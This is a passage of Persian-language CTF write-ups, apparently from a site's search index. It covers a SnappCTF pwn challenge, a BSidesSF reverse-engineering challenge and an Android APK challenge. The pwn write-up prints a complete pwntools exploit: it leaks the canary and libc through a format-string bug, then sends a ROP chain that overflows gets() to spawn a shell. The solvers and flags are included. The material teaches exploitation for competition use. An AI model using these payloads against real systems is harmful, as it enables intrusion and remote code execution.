\u0628\u0627\u0644\u0627 \u0647\u0645 \u067e\u06cc\u062f\u0627\u0633\u062a \u0641\u0639\u0627\u0644 \u0628\u0648\u062f\u0646 \u06cc\u06a9 \u0645\u06a9\u0627\u0646\u06cc\u0633\u0645 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u06cc\u06af\u0647 \u0628\u0647 \u0627\u0633\u0645 Stack Canary \u0647\u0633\u062a. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u06cc\u06a9 \u0642\u062f\u0645 \u0631\u0648 \u0628\u0647 \u062c\u0644\u0648 \u062d\u0631\u06a9\u062a \u06a9\u0646\u06cc\u0645 \u0627\u0648\u0644 \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 Canary \u0631\u0648 \u062f\u0648\u0631 \u0628\u0632\u0646\u06cc\u0645. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u0627\u0628\u0639 \u0628\u0647 \u06a9\u0627\u0631 \u0631\u0641\u062a\u0647 \u062a\u0648\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u0642\u06cc\u0642 \u062a\u0631 \u0628\u0627 ghidra \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0686\u0634\u0645\u0645\u0648\u0646 \u0628\u0647 \u062a\u0627\u0628\u0639 printf \u0627\u06cc \u0645\u06cc\u0648\u0641\u062a\u0647 (\u062a\u0648\u06cc \u062a\u0627\u0628\u0639 echo \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0647\u0627\u06cc\u0644\u0627\u062a\u0634 \u06a9\u0631\u062f\u0645 \u062a\u0648\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631) \u06a9\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc Format String \u0631\u0648 \u062f\u0627\u0631\u0647 \u0648 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 \u0627\u06cc\u0646 \u0637\u0631\u06cc\u0642 \u0628\u0647 \u0645\u0642\u062f\u0627\u0631 cookie \u0648... \u06a9\u0647 \u062a\u0648\u06cc \u0627\u0633\u062a\u06a9 \u0645\u0648\u062c\u0648\u062f \u0647\u0633\u062a\u0646 \u062f\u0633\u062a \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645.

\u0628\u0639\u062f \u0627\u0632 \u06a9\u0644\u06cc \u0633\u0631 \u0648 \u06a9\u0644\u0647 \u0632\u062f\u0646 \u0628\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc (\u0648 \u06cc\u0627 \u062e\u0648\u062f\u06a9\u0627\u0631 \u06a9\u0631\u062f\u0646 \u0631\u0648\u0646\u062f\u0634 \u0628\u0627 \u06cc\u06a9 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0627\u062f\u0647) \u0628\u0647 \u06cc \u0647\u0645\u0686\u06cc\u0646 \u0633\u0627\u062e\u062a\u0627\u0631\u06cc \u0645\u06cc\u0631\u0633\u06cc\u0645.

%31$p

\u0628\u0627 \u0641\u0631\u0633\u062a\u0627\u062f\u0646 \u06cc\u06a9 \u0647\u0645\u0686\u06cc\u0646 \u0627\u0633\u062a\u0631\u06cc\u0646\u06af\u06cc \u0628\u0647 \u0633\u0645\u062a \u062a\u0627\u0628\u0639 echo \u0628\u0631\u0646\u0627\u0645\u0647 \u060c \u062e\u06cc\u0644\u06cc \u0631\u0627\u062d\u062a \u0645\u0642\u062f\u0627\u0631 cookie \u0631\u0648 \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u0645.

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 canary \u0631\u0648 \u0627\u0648\u06a9\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u0642\u0633\u0645\u062a \u0633\u062e\u062a \u0645\u0627\u062c\u0631\u0627 \u06cc\u0639\u0646\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 gadget \u0647\u0627\u06cc \u0645\u0646\u0627\u0633\u0628 \u0648 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632\u0634\u0648\u0646 \u0628\u0631\u0627\u06cc \u0633\u0627\u062e\u062a \u0632\u0646\u062c\u06cc\u0631\u0647 ROP \u0627\u0645\u0648\u0646 \u0648 \u0627\u06cc\u0646\u06a9\u0647 \u0686\u0637\u0648\u0631\u06cc \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646 \u0632\u0646\u062c\u06cc\u0631\u0647 \u0631\u0648 \u0628\u0647 \u062e\u0648\u0631\u062f \u0628\u0631\u0646\u0627\u0645\u0647 \u062f\u0627\u062f.

\u062c\u0648\u0627\u0628 \u0645\u0627 \u062a\u0648\u06cc \u062a\u0627\u0628\u0639 find_index \u0647\u0633\u062a. \u062a\u0648\u06cc \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0627 \u06cc\u06a9 gets \u0631\u0648 \u0628\u0647 \u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u06cc\u0641\u0627\u0644\u062a \u0648\u0642\u062a\u06cc \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0631\u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u0628\u0627\u06cc\u062f \u06cc\u0627\u062f \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc BufferOverflow \u0628\u06cc\u0648\u0641\u062a\u06cc\u0645.

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0642\u0633\u0645\u062a \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0628\u062f\u0648\u0646\u06cc\u0646 \u0628\u0647 \u0686\u0647 gadget \u0647\u0627\u06cc\u06cc \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u062f \u0648 \u062f\u0633\u062a\u062a\u0648\u0646 \u0628\u06cc\u0627\u062f \u062d\u062f\u0648\u062f\u0627 \u06a9\u0647 \u0686\u0637\u0648\u0631\u06cc \u0628\u0627\u06cc\u062f ROP \u0631\u0648 \u0627\u0648\u06a9\u06cc \u06a9\u0646\u06cc\u062f (\u0648 \u06cc\u06a9\u0645\u0645 \u062e\u0648\u062f\u062a\u0648\u0646 \u062a\u0644\u0627\u0634 \u06a9\u0646\u06cc\u0646) \u0627\u0631\u062c\u0627\u0639\u062a\u0648\u0646 \u0645\u06cc\u062f\u0645 \u0628\u0647 \u0644\u06cc\u0646\u06a9 \u0647\u0627\u06cc \u0632\u06cc\u0631: Bypassing Canary & PIE

ROP - Leaking LIBC address

ROP: bypass NX, ASLR, PIE and Canary

\u0627\u0632 \u062c\u0645\u0644\u0647 \u0645\u0648\u0627\u0631\u062f\u06cc \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647\u0634 \u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u0647\u0633\u062a \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 gadget \u0647\u0627 \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0646\u06cc\u0627\u0632\u062a\u0648\u0646 \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u0627\u0632 libc \u062f\u0631\u0633\u062a\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0648\u0627\u0633\u0647 \u0627\u06cc\u0646\u06a9\u0627\u0631 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0627\u0648\u0646 Dockerfile \u062f\u0642\u062a \u0645\u06cc\u06a9\u0631\u062f\u06cc\u062f \u0648 \u0628\u0639\u062f \u0627\u0632 \u0648\u0635\u0644 \u0634\u062f\u0646 \u0628\u0647 docker \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0631\u062f\u06cc\u062f \u062a\u0627 libc \u0627\u0635\u0644\u06cc \u0631\u0648 \u06a9\u067e\u06cc \u06a9\u0646\u06cc\u062f \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645 \u062e\u0648\u062f\u062a\u0648\u0646. \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0645\u06cc\u062a\u0648\u0646\u0647 \u06a9\u0627\u0631 \u0631\u0648 \u062f\u0631\u0628\u06cc\u0627\u0631\u0647 :

. docker cp 4fd9a29bfcdc:/usr/lib/x86_64-linux-gnu/libc.so.6

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0634\u0645\u0627 libc \u0631\u0648 \u062f\u0627\u0631\u06cc\u062f \u0648 \u062a\u0646\u0647\u0627 \u06a9\u0627\u0641\u06cc\u0647 \u062a\u0627 \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 pop \u0648 sh \u0648 ret \u0648 system \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 ROPgadget \u0648 \u06cc\u06a9\u0645\u0645 pwntools \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u06cc\u06a9 \u0646\u0645\u0648\u0646\u0647 \u0631\u0648 \u0647\u0645 \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u062a\u0648\u06cc \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631 \u0628\u0628\u06cc\u0646\u06cc\u062f:

\u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0639\u062f \u0627\u0632 \u0647\u0645\u0647 \u0627\u06cc\u0646 \u0642\u0636\u0627\u06cc\u0627 \u0628\u0647 exploit \u0632\u06cc\u0631 \u0645\u06cc\u0631\u0633\u06cc\u0645 :

from pwn import *\n\ndef index(s):\n    p.sendlineafter(b'4- exit\\n', b\"3\")\n    p.sendline(s)\n    return p.readline().rstrip()\n\ndef echo(s):\n    p.sendlineafter(b'4- exit\\n', b\"1\")\n    p.sendlineafter(b'Enter your input\\n', s.encode())\n    return p.readline().strip()\n\n#p = remote('91.107.177.236', 3117)\np = process('./shell_patched')\nlibc = ELF('./libc.so.6', checksec = False)\n\nlibc_add = echo(f'%33$p')\n\ncanary = p64(int(echo(f'%31$p'), 16))\n\nlibc_add = p64(int(libc_add, 16))\n\nlibc_add = int.from_bytes(libc_add, byteorder = 'little')\n\nlibc.address = (libc_add - 0x1e40) - 0x0000000000028000\n\npop = libc.address + 0x000000000002a3e5\n\nret = libc.address + 0x0000000000029139\n\nfinal_payload = b'A' * 19 + b'SNAPP' + canary + b'\\x00' * 8 +  p64(pop) + p64(next(libc.search(b'/bin/sh\\x00'))) + p64(ret) + p64(libc.sym[b'system'])\n\np.sendlineafter(b'4- exit\\n', b\"3\")\np.sendline(final_payload)\n\np.interactive()\np.close()\n

FLAG

SNAPP{Sn4Pp_sH3ll_leT_m3_!!nn}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

nim0x2a

","tags":["SnappCTF","SnappCTF-2024","PWN","Exploit","Shell","ROP","Pwntools","Canary","BufferOverflow"]},{"location":"reverse/","title":"\u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633","text":"

\u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u0627 \u0686\u06cc\u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0646\u061f

\u06cc\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0647 \u0632\u0628\u0648\u0646 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0645\u06cc\u0646\u0648\u06cc\u0633\u0646 \u0648 \u0627\u06af\u0647 \u0632\u0628\u0648\u0646\u06cc \u06a9\u0647 \u0628\u0627\u0647\u0627\u0634 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc\u0646\u0648\u06cc\u0633\u0646\u060c \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631\u06cc \u0628\u0627\u0634\u0647\u060c \u06cc\u0647 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0645\u06cc\u0627\u062f \u0648 \u06a9\u062f \u0647\u0627\u0634\u0648\u0646 \u0631\u0648 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 \u0632\u0628\u0627\u0646 \u0627\u0633\u0645\u0628\u0644\u06cc \u0645\u06cc\u06a9\u0646\u0647 \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u0646\u0633\u0627\u0646 \u062e\u0648\u0646\u062f\u0646\u0634 \u062e\u06cc\u0644\u06cc \u0633\u062e\u062a\u0647

\u0627\u06cc\u0646\u062c\u0627\u0633 \u06a9\u0647 \u0645\u0627 \u0648\u0627\u0631\u062f \u0639\u0645\u0644 \u0645\u06cc\u0634\u06cc\u0645 \u0648 \u0628\u0627 \u062e\u0648\u0646\u062f\u0646 \u0632\u0628\u0627\u0646 \u0645\u0627\u0634\u06cc\u0646 \u0648 \u0627\u0633\u0645\u0628\u0644\u06cc\u060c \u0645\u0646\u0637\u0642 \u06a9\u062f \u0631\u0648 \u062f\u0631\u06a9 \u0645\u06cc\u06a9\u0646\u06cc\u0645

\u0641\u06a9 \u06a9\u0646\u0645 \u062a\u0627 \u0627\u0644\u0627\u0646 \u0641\u0647\u0645\u06cc\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646 \u06a9\u0647 \u0645\u0627 \u0627\u0646\u0633\u0627\u0646 \u0647\u0627\u06cc \u0639\u0627\u062f\u06cc \u0646\u06cc\u0633\u062a\u06cc\u0645

\u0645\u0627 \u0645\u0647\u0646\u062f\u0633\u0627\u0646 \u0645\u0639\u06a9\u0648\u0633 \u0647\u0633\u062a\u06cc\u0645

"},{"location":"reverse/writeups/BSidesSF/TuringComplete/","title":"\u0686\u0627\u0644\u0634 Turing Complete","text":"

\ud83d\udd17 \u062f\u0627\u0646\u0644\u0648\u062f \u0686\u0644\u0646\u062c

","tags":["BSidesSF","BSidesSF 2024","Reverse"]},{"location":"reverse/writeups/BSidesSF/TuringComplete/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0628\u0647 \u0645\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0646\u0627\u0645 turing-complete \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0631\u0648\u0628\u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631 file \u0631\u0648 \u0631\u0648\u0634 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

$ file turing-complete\nturing-complete: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4ee6521fff97311d5d2736f93b082d22538be8f3, for GNU/Linux 3.2.0, not stripped\n
\u062e\u0628 \u0628\u0647\u0645\u0648\u0646 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc 32\u0628\u06cc\u062a\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 , \u0648 \u0637\u0628\u0642 \u0645\u0639\u0645\u0648\u0644 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0645\u06cc\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9

","tags":["BSidesSF","BSidesSF 2024","Reverse"]},{"location":"reverse/writeups/BSidesSF/TuringComplete/#_2","title":"\u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9","text":"

\u0628\u0647 \u06a9\u0645\u06a9 \u0633\u0627\u06cc\u062a \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0646\u06cc dogbolt \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u062f\u0646\u0638\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647. \u0645\u0639\u0645\u0648\u0644\u0627 \u0637\u0628\u0642 \u062a\u062c\u0631\u0628\u0647 Hex-Rays \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0628\u0647\u062a\u0631\u06cc \u0645\u06cc\u062f\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0628\u06cc\u0627\u06cc\u062f \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0627\u0648\u0646 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645:

\u062e\u0631\u0648\u062c\u06cc \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 Hex-Rays
int r()\n{\n  int v1;\n  do\n  {\n    v1 = getchar();\n    if ( v1 == -1 || !v1 || v1 == 113 )\n      return 2;\n    if ( v1 == 48 )\n      return 0;\n  }\n  while ( v1 != 49 );\n  return 1;\n}\n\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n  size_t v3; // eax\n  int v4; // esi\n  int v5; // esi\n  int v6; // esi\n  int v7; // esi\n  int v8; // esi\n  int v9; // esi\n  int v10; // esi\n  char s[128]; // [esp+1h] [ebp-A3h] BYREF\n  unsigned __int8 v13; // [esp+81h] [ebp-23h]\n  char v14; // [esp+82h] [ebp-22h]\n  char v15; // [esp+83h] [ebp-21h]\n  FILE *stream; // [esp+84h] [ebp-20h]\n  unsigned __int8 *v17; // [esp+88h] [ebp-1Ch]\n  int *p_argc; // [esp+98h] [ebp-Ch]\n\n  p_argc = &argc;\n  setvbuf(stdout, 0, 2, 0);\n  setvbuf(stderr, 0, 2, 0);\n  strcpy(s, \"Hi, thanks for reading me! The flag is: \");\n  v17 = (unsigned __int8 *)s;\n  stream = fopen(\"flag.txt\", \"r\");\n  if ( !stream )\n  {\n    puts(\"Flag file not found!\");\n    exit(1);\n  }\n  v3 = strlen(s);\n  fgets(&s[v3], 32, stream);\n  fclose(stream);\n  puts(\"01010000 01110010 01101111 01100111 01110010 01100001 01101101 00100000 01101101 01100101 00100001\");\n  while ( 1 )\n  {\n    v15 = r();\n    if ( v15 == 2 )\n      break;\n    v14 = r();\n    if ( v14 == 2 )\n      break;\n    if ( v15 || v14 )\n    {\n      if ( v15 || v14 != 1 )\n      {\n        if ( v15 != 1 || v14 )\n        {\n          if ( v15 == 1 && v14 == 1 )\n          {\n            v4 = (unsigned __int8)r() << 7;\n            v5 = ((unsigned __int8)r() << 6) | v4;\n            v6 = (32 * (unsigned __int8)r()) | v5;\n            v7 = (16 * (unsigned __int8)r()) | v6;\n            v8 = (8 * (unsigned __int8)r()) | v7;\n            v9 = (4 * (unsigned __int8)r()) | v8;\n            v10 = (2 * (unsigned __int8)r()) | v9;\n            v13 = v10 | r();\n            *v17 = v13;\n          }\n        }\n        else\n        {\n          printf(\"%08b\", *v17);\n        }\n      }\n      else\n      {\n        --v17;\n      }\n    }\n    else\n    {\n      ++v17;\n    }\n    fflush(stdout);\n  }\n  fflush(stdout);\n  return 0;\n}\n

\u0628\u0627 \u0646\u06af\u0627\u0647\u06cc \u0627\u062c\u0645\u0627\u0644\u06cc \u067e\u06cc \u0645\u06cc\u0628\u0631\u06cc\u0645 \u06a9\u0647 \u067e\u0648\u06cc\u0646\u062a\u0631 v17 \u0628\u0647 \u0631\u0634\u062a\u0647\u200c\u0627\u06cc \u062d\u0627\u0648\u06cc \u0641\u0644\u06af \u0627\u0634\u0627\u0631\u0647 \u0645\u06cc\u06a9\u0646\u062f \u0648 \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0628\u0627 \u06af\u0631\u0641\u062a\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0639\u0645\u0644 \u062e\u0648\u0646\u062f\u0646 \u0648 \u0646\u0648\u0634\u062a\u0646 \u0648 ... \u0631\u0648\u06cc \u067e\u0648\u06cc\u0646\u062a\u0631 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647\u062f - 00: \u0622\u062f\u0631\u0633 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u067e\u0648\u06cc\u0646\u062a\u0631 \u06cc\u06a9\u06cc \u0632\u06cc\u0627\u062f \u0645\u06cc\u0634\u0648\u062f(\u0645\u06cc\u0634\u0647 \u06af\u0641\u062a \u0628\u0647 \u062e\u0648\u0646\u0647 \u0628\u0639\u062f\u06cc \u0627\u0648\u0646 \u062d\u0627\u0641\u0638\u0647 \u0627\u0634\u0627\u0631\u0647 \u0645\u06cc\u06a9\u0646\u0647) - 01: \u0622\u062f\u0631\u0633 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u067e\u0648\u06cc\u0646\u062a\u0631 \u0631\u0648 \u06cc\u06a9\u06cc \u06a9\u0645 \u0645\u06cc\u06a9\u0646\u0647 - 10: \u0646\u0645\u0627\u06cc\u0634 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0645\u0642\u062f\u0627\u0631 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0627\u062f\u0631\u0633 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u067e\u0648\u06cc\u0646\u062a\u0631 - 11: \u0646\u0648\u0634\u062a\u0646 \u062f\u0631 \u0622\u062f\u0631\u0633 \u0630\u062e\u06cc\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u067e\u0648\u06cc\u0646\u062a\u0631

","tags":["BSidesSF","BSidesSF 2024","Reverse"]},{"location":"reverse/writeups/BSidesSF/TuringComplete/#_3","title":"\u062d\u0644 \u0686\u0627\u0644\u0634","text":"

\u062e\u0628 \u062d\u0627\u0644\u0627 \u06a9\u0647 \u0628\u0627 \u0631\u0648\u0646\u062f \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0634\u0646\u0627 \u0634\u062f\u06cc\u0645 \u06a9\u0627\u0641\u06cc\u0633\u062a \u062d\u0631\u0641 \u062d\u0631\u0641 \u0628\u062e\u0648\u0627\u0646\u06cc\u0645 \u0648 \u067e\u0648\u06cc\u0646\u062a\u0631 \u0631\u0627 \u0628\u0647 \u062c\u0644\u0648 \u0628\u0628\u0631\u06cc\u0645 \u062a\u0627 \u0641\u0644\u06af \u0628\u0631\u0627\u06cc\u0645\u0627\u0646 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0634\u0648\u062f.

from pwn import *\n\ncontext.log_level = \"critical\"\n# ncat --proxy-type socks5 --proxy 127.0.0.1:2080 turing-complete-8e4bdad0.challenges.bsidessf.net 1954\ncontext.proxy = (socks.SOCKS4, \"127.0.0.1\", 2080)\n\nRIGHT = '00'\nLEFT  = '01'\nPRINT = '10'\nWRITE = '11'\n\np = remote(*'turing-complete-8e4bdad0.challenges.bsidessf.net 1954'.split())\np.sendline(((PRINT+RIGHT)*60).encode())\n\nflag = p.clean(2).split()[-1]\nfor i in range(0, len(flag), 8):\n    print(chr(int(flag[i:i+8], 2)), end='')\n
FLAG

CTF{rip-1912-1954}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["BSidesSF","BSidesSF 2024","Reverse"]},{"location":"reverse/writeups/BSidesSF/shinji/","title":"Shinji","text":"

\u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062f\u0631 \u0645\u0648\u0627\u062c\u0647\u0647 \u0628\u0627 \u0686\u0644\u0646\u062c \u0627\u0646\u062f\u0631\u0648\u06cc\u062f\u06cc \u0628\u0627\u06cc\u062f \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u0686\u06cc\u0647\u061f \u0647\u0645\u062a\u0648\u0646 \u0645\u06cc\u06af\u06cc\u062f \u0627\u062c\u0631\u0627 \u0627\u0645\u0627 \u0646\u0647!! \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646\u0634 \u062a\u0648 JadX \u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631\u06cc\u0647 \u06a9\u0647 \u062d\u0631\u0641\u0647 \u0627\u06cc \u0647\u0627 \u0645\u06cc\u06a9\u0646\u0646 =)))

\u0628\u0627 \u06cc\u06a9\u0645 \u06af\u0634\u062a\u0646 \u062a\u0648 \u06a9\u0644\u0627\u0633 \u0647\u0627 \u0648 \u062a\u0648\u0627\u0628\u0639 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u06cc\u0631\u0633\u06cc\u0645 \u0628\u0647 \u0627\u06cc\u0646 \u062a\u06cc\u06a9\u0647 \u06a9\u062f

    public final String flagDisplay() {\n        String string;\n        String string2;\n        String string3 = getString(R.string.app_string);\n        Intrinsics.checkNotNullExpressionValue(string3, \"getString(...)\");\n        String prefixString = \"shinji-\";\n        StringBuilder sb = new StringBuilder();\n        long seconds = System.currentTimeMillis() / 1000;\n        if (seconds >= 1577865600 && seconds <= 1735718400) {\n            String secondsString = String.valueOf(seconds);\n            String tempString = \"shinji-\" + secondsString;\n            MessageDigest md5Digest = MessageDigest.getInstance(\"MD5\");\n            byte[] bytes = tempString.getBytes(Charsets.UTF_8);\n            Intrinsics.checkNotNullExpressionValue(bytes, \"this as java.lang.String).getBytes(charset)\");\n            byte[] md5Result = md5Digest.digest(bytes);\n            Intrinsics.checkNotNull(md5Result);\n            int length = md5Result.length;\n            int i = 0;\n            while (true) {\n                string = string3;\n                String prefixString2 = prefixString;\n                if (i >= length) {\n                    break;\n                }\n                byte b = md5Result[i];\n                StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;\n                String format = String.format(\"%02X\", Arrays.copyOf(new Object[]{Byte.valueOf(b)}, 1));\n                Intrinsics.checkNotNullExpressionValue(format, \"format(format, *args)\");\n                sb.append(format);\n                i++;\n                string3 = string;\n                prefixString = prefixString2;\n                seconds = seconds;\n            }\n            String sb2 = sb.toString();\n            Intrinsics.checkNotNullExpressionValue(sb2, \"toString(...)\");\n            String md5String = sb2.toLowerCase(Locale.ROOT);\n            Intrinsics.checkNotNullExpressionValue(md5String, \"this as java.lang.String).toLowerCase(Locale.ROOT)\");\n            MessageDigest sha1Digest = MessageDigest.getInstance(\"SHA-1\");\n            byte[] bytes2 = md5String.getBytes(Charsets.UTF_8);\n            Intrinsics.checkNotNullExpressionValue(bytes2, \"this as java.lang.String).getBytes(charset)\");\n            byte[] sha1Result = sha1Digest.digest(bytes2);\n            StringBuilder sb22 = new StringBuilder();\n            Intrinsics.checkNotNull(sha1Result);\n            int length2 = sha1Result.length;\n            int i2 = 0;\n            while (i2 < length2) {\n                byte b2 = sha1Result[i2];\n                StringCompanionObject stringCompanionObject2 = StringCompanionObject.INSTANCE;\n                byte[] sha1Result2 = sha1Result;\n                String format2 = String.format(\"%02X\", Arrays.copyOf(new Object[]{Byte.valueOf(b2)}, 1));\n                Intrinsics.checkNotNullExpressionValue(format2, \"format(format, *args)\");\n                sb22.append(format2);\n                i2++;\n                length2 = length2;\n                sha1Result = sha1Result2;\n            }\n            String sb3 = sb22.toString();\n            Intrinsics.checkNotNullExpressionValue(sb3, \"toString(...)\");\n            String sha1String = sb3.toLowerCase(Locale.ROOT);\n            Intrinsics.checkNotNullExpressionValue(sha1String, \"this as java.lang.String).toLowerCase(Locale.ROOT)\");\n            if (Intrinsics.areEqual(sha1String, \"75b1d234851cdc94899eae8c97adce769e8ddb26\")) {\n                Intrinsics.checkNotNullExpressionValue(getString(R.string.part_one), \"getString(...)\");\n                return (string2 + secondsString) + getString(R.string.part_three);\n            }\n            return string;\n        }\n        return string3;\n    }\n

